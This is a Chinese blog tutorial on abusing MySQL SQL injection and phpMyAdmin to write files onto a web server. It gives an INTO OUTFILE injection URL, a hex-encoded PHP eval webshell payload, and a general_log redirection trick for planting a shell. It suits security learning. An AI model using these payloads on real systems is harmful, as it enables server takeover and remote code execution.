浅谈SQL注入写文件

  • A+
所属分类:安全文章

点击蓝字,关注我们


欢迎转发,请勿抄袭!

        SQL注入即是指web应用程序对用户输入数据的合法性没有判断或过滤不严,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息。如果不懂?那就看看前几天本公众号发的推文。

        那么今天主要讲的是如何从注入导出文件。sql导出文件是被允许的操作。但条件有时候也比较苛刻,什么时候才能用,什么时候才能用。

浅谈SQL注入写文件

先上一个带有注入的代码;数据库名test,表名test;字段名id和name。

浅谈SQL注入写文件

很简单的查询语句,没有一点过滤,这个代码是存在注入漏洞的。先查看是否存在导出功能。在SQL执行

show variables like '%secure%';

返回了如下图;

浅谈SQL注入写文件

    看不懂没关系,暂时不管他,我们也尝试导出文件。

浅谈SQL注入写文件

出现了报错,显然是不能导出。那么我们在url也进行尝试导出,构造url:

http://test.com/sql.php?id=1'  union SELECT * INTO OUTFILE 'D:\phpstudy_pro\WWW\1.php' FROM test #


浅谈SQL注入写文件

返回为0。两次在文件夹均未找到对应的1.php。

那么,我们把secure_file_priv字段修改成一个空格。文件在mysql安装的路径的my.ini配置文件中。

浅谈SQL注入写文件


修改完,重启mysql,在SQL执行

show variables like '%secure%';

返回了如下图;

浅谈SQL注入写文件

再次执行导出命令,

浅谈SQL注入写文件

没有发现报错,同时在www的文件夹,找到了1.php。那么在url也进行导出,为了避免冲突,我在url导出的文件名为2.php

浅谈SQL注入写文件

发现也是能导出来的。也能存在1.php,写出一句话的方法为palyad

select 1,0x3C3F706870206576616C28245F504F53545B27636D64275D293B3F3E into outfile "D:\phpstudy_pro\WWW\test.com\xx.php" from test


这里为什么第二个字段要用十六进制。是因为符号转义的原因。防止被转义,需要变成十六进制。

那么发现什么时候才能满足导出的条件。以下总结:

secure_file_prive=null ––限制mysqld 不允许导入导出secure_file_priv=/path/ – --限制mysqld的导入导出只能发生在默认的/path/目录下secure_file_priv='' – --不对mysqld 的导入 导出做限制

同样;导入文件也需要这样的条件;只能数据库root用户能执行这类操作,普通用户无权限。Linux环境也是。

浅谈SQL注入写文件

总结:目录文件是否限制、是否为高权限用户。

        如果前面机会失去了,那么有机会进去了phpmyadmin的话,可以通过查询日志导出小马的!具体操作,在phpmyadmin执行;

SHOW VARIABLES LIKE '%general%'


浅谈SQL注入写文件

        得到两个参数,第一个是否开启,第二个日志保存的文件路径,之后执行payload;

set global general_log = "ON";SET global general_log_file='C:\php\WWW\testshell.php';


浅谈SQL注入写文件

无报错,之后随便执行,一个写马的查询

select '<?php phpinfo();?>'

,会将存放在日志文件中

浅谈SQL注入写文件

避免数据过多,需要执行关闭日志操作

set global general_log = "OFF";

        将testshell.php移动到test.com目录下,在浏览器请求得到。

浅谈SQL注入写文件

        也是能成功解析的~在phpmyadmin也是需要这类操作也是需要高权限用户哦~~~

温馨提示:注意linux和win的路径写法的区别。

文章声明:本文仅供学习参考,请勿非法使用!

还没进来的粉丝,赶紧哈,满200就要私加我才能进群了!!

群里会不定时分享技术、经验。

浅谈SQL注入写文件

浅谈SQL注入写文件



扫码关注我们

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: